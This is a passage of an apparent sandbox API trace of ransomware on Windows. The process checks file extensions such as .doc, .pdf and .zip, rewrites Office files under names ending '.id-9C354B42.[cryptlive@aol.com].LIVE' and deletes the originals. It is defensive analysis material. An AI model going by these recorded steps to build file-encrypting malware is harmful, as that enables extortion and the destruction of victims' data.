(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.299] lstrlenW (lpString=".dbf") returned 4 [0147.299] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0147.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.299] lstrlenW (lpString=".1cd") returned 4 [0147.299] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0147.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.299] lstrlenW (lpString=".jpg") returned 4 [0147.299] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0147.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.299] lstrlenW (lpString=".doc") returned 4 [0147.299] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0147.299] lstrlenW (lpString=".docx") returned 5 [0147.299] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0147.299] lstrlenW (lpString=".pdf") returned 4 [0147.299] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0147.299] lstrlenW (lpString=".xls") returned 4 [0147.299] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0147.300] lstrlenW (lpString=".xlsx") returned 5 [0147.300] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0147.300] lstrlenW (lpString=".ppt") returned 4 [0147.300] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0147.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.300] lstrlenW (lpString=".zip") returned 4 [0147.300] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0147.300] lstrlenW (lpString=".rar") returned 4 [0147.300] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0147.300] lstrlenW (lpString=".bz2") returned 4 [0147.300] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0147.300] lstrlenW (lpString=".7z") returned 3 [0147.300] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0147.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.300] lstrlenW (lpString=".dbf") returned 4 [0147.300] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0147.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.300] lstrlenW (lpString=".1cd") returned 4 [0147.300] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0147.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.300] lstrlenW (lpString=".jpg") returned 4 [0147.300] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0147.300] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0147.300] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0147.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.303] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1940) returned 1 [0147.303] CloseHandle (hObject=0x350) returned 1 [0147.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 0x20 [0147.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.430] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.430] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.431] GetLastError () returned 0x0 [0147.431] ReadFile (in: hFile=0x394, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x794, lpOverlapped=0x0) returned 1 [0147.432] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0147.433] ReadFile (in: hFile=0x394, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.433] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.433] SetEndOfFile (hFile=0x3b4) returned 1 [0147.433] CloseHandle (hObject=0x3b4) returned 1 [0147.433] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.434] SetEndOfFile (hFile=0x394) returned 1 [0147.435] CloseHandle (hObject=0x394) returned 1 [0147.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 1 [0147.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString=".doc") returned 4 [0147.437] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString=".docx") returned 5 [0147.437] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0147.437] lstrlenW (lpString=".pdf") returned 4 [0147.437] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString=".xls") returned 4 [0147.437] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0147.437] lstrlenW (lpString=".xlsx") returned 5 [0147.437] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0147.437] lstrlenW (lpString=".ppt") returned 4 [0147.437] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString=".zip") returned 4 [0147.437] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0147.437] lstrlenW (lpString=".rar") returned 4 [0147.437] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString=".bz2") returned 4 [0147.437] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString=".7z") returned 3 [0147.437] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0147.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString=".dbf") returned 4 [0147.437] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString=".1cd") returned 4 [0147.437] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString=".jpg") returned 4 [0147.437] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.437] lstrlenW (lpString=".doc") returned 4 [0147.437] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0147.437] lstrlenW (lpString=".docx") returned 5 [0147.438] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0147.438] lstrlenW (lpString=".pdf") returned 4 [0147.438] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0147.438] lstrlenW (lpString=".xls") returned 4 [0147.438] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0147.438] lstrlenW (lpString=".xlsx") returned 5 [0147.438] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0147.438] lstrlenW (lpString=".ppt") returned 4 [0147.438] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0147.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.438] lstrlenW (lpString=".zip") returned 4 [0147.438] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0147.438] lstrlenW (lpString=".rar") returned 4 [0147.438] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0147.438] lstrlenW (lpString=".bz2") returned 4 [0147.438] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0147.438] lstrlenW (lpString=".7z") returned 3 [0147.438] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0147.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.438] lstrlenW (lpString=".dbf") returned 4 [0147.438] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0147.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.438] lstrlenW (lpString=".1cd") returned 4 [0147.438] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0147.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0147.438] lstrlenW (lpString=".jpg") returned 4 [0147.438] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0147.438] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0147.438] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0147.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.440] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=207) returned 1 [0147.440] CloseHandle (hObject=0x394) returned 1 [0147.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 0x20 [0147.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.440] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.441] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.441] GetLastError () returned 0x0 [0147.441] ReadFile (in: hFile=0x394, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xcf, lpOverlapped=0x0) returned 1 [0147.442] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0147.443] ReadFile (in: hFile=0x394, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.443] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0147.443] SetEndOfFile (hFile=0x3b4) returned 1 [0147.443] CloseHandle (hObject=0x3b4) returned 1 [0147.443] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.443] SetEndOfFile (hFile=0x394) returned 1 [0147.446] CloseHandle (hObject=0x394) returned 1 [0147.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 1 [0147.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.447] lstrlenW (lpString=".doc") returned 4 [0147.447] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0147.448] lstrlenW (lpString=".docx") returned 5 [0147.448] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0147.448] lstrlenW (lpString=".pdf") returned 4 [0147.448] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0147.448] lstrlenW (lpString=".xls") returned 4 [0147.448] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0147.448] lstrlenW (lpString=".xlsx") returned 5 [0147.448] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0147.448] lstrlenW (lpString=".ppt") returned 4 [0147.448] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.448] lstrlenW (lpString=".zip") returned 4 [0147.448] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0147.448] lstrlenW (lpString=".rar") returned 4 [0147.448] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0147.448] lstrlenW (lpString=".bz2") returned 4 [0147.448] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0147.448] lstrlenW (lpString=".7z") returned 3 [0147.448] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.448] lstrlenW (lpString=".dbf") returned 4 [0147.448] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.448] lstrlenW (lpString=".1cd") returned 4 [0147.448] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.448] lstrlenW (lpString=".jpg") returned 4 [0147.448] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0147.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.448] lstrlenW (lpString=".doc") returned 4 [0147.448] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0147.448] lstrlenW (lpString=".docx") returned 5 [0147.448] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0147.448] lstrlenW (lpString=".pdf") returned 4 [0147.448] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0147.449] lstrlenW (lpString=".xls") returned 4 [0147.449] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0147.449] lstrlenW (lpString=".xlsx") returned 5 [0147.449] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0147.449] lstrlenW (lpString=".ppt") returned 4 [0147.449] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.449] lstrlenW (lpString=".zip") returned 4 [0147.449] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0147.449] lstrlenW (lpString=".rar") returned 4 [0147.449] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0147.449] lstrlenW (lpString=".bz2") returned 4 [0147.449] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0147.449] lstrlenW (lpString=".7z") returned 3 [0147.449] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.449] lstrlenW (lpString=".dbf") returned 4 [0147.449] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.449] lstrlenW (lpString=".1cd") returned 4 [0147.449] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0147.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0147.449] lstrlenW (lpString=".jpg") returned 4 [0147.449] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0147.449] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0147.449] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0147.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.712] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=114) returned 1 [0147.712] CloseHandle (hObject=0x3b4) returned 1 [0147.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 0x20 [0147.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0148.034] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.034] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0148.096] GetLastError () returned 0x0 [0148.096] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x72, lpOverlapped=0x0) returned 1 [0148.097] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0148.098] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.098] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0148.098] SetEndOfFile (hFile=0x3d0) returned 1 [0148.098] CloseHandle (hObject=0x3d0) returned 1 [0148.098] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.098] SetEndOfFile (hFile=0x3b0) returned 1 [0148.101] CloseHandle (hObject=0x3b0) returned 1 [0148.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 1 [0148.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.102] lstrlenW (lpString=".doc") returned 4 [0148.102] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.102] lstrlenW (lpString=".docx") returned 5 [0148.102] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.102] lstrlenW (lpString=".pdf") returned 4 [0148.102] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.102] lstrlenW (lpString=".xls") returned 4 [0148.102] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.102] lstrlenW (lpString=".xlsx") returned 5 [0148.102] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.102] lstrlenW (lpString=".ppt") returned 4 [0148.102] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.102] lstrlenW (lpString=".zip") returned 4 [0148.102] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.102] lstrlenW (lpString=".rar") returned 4 [0148.102] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.102] lstrlenW (lpString=".bz2") returned 4 [0148.102] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.103] lstrlenW (lpString=".7z") returned 3 [0148.103] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString=".dbf") returned 4 [0148.103] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString=".1cd") returned 4 [0148.103] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString=".jpg") returned 4 [0148.103] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString=".doc") returned 4 [0148.103] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.103] lstrlenW (lpString=".docx") returned 5 [0148.103] 